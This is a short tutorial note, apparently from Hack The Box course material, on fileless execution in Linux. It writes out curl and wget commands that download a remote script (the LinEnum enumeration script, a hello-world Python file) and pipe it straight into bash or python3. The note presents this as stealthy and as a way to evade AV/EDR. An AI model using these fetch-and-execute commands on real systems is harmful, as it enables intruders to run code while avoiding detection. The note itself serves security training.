💣 Fileless Attacks in Linux – Execute Directly

In Linux, because of the magic of pipes (|), you can execute scripts without saving them to disk first! 😱 This is called a fileless attack – and it's super sneaky. 👀

🔐 Note: Some techniques (like using mkfifo) might still touch the disk temporarily. But piping directly into an interpreter (like bash or python3) is often fileless in practice.

---

🌀 Fileless Execution with curl

Let’s take our old friend curl and run a script straight from the web 👇

z3tssu@htb[/htb]$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

What this does:

• Downloads the LinEnum.sh script from GitHub

• Instead of saving it, it pipes it directly into bash for execution

🕵️‍♂️ No file written. No trace left (unless someone’s logging stdout)!

---

🧲 Fileless Execution with wget

Here’s the same idea, but using wget with a little trick using -qO-:

z3tssu@htb[/htb]$ wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

🎉 Output:

Hello World!

📌 What’s happening here:

• -q = quiet mode (no download info clutter)

• -O- = send output to stdout instead of saving to a file

• | python3 = pipe that script straight into the Python interpreter 🐍

---

⚠️ Why This Matters (and Why It's Dangerous)

Fileless attacks are a red flag for incident responders 🚨 because:

• No files = harder to detect

• No disk artifacts = bypass some traditional AV/EDR solutions

• Great for in-memory execution or living-off-the-land (LOLBin) tactics

---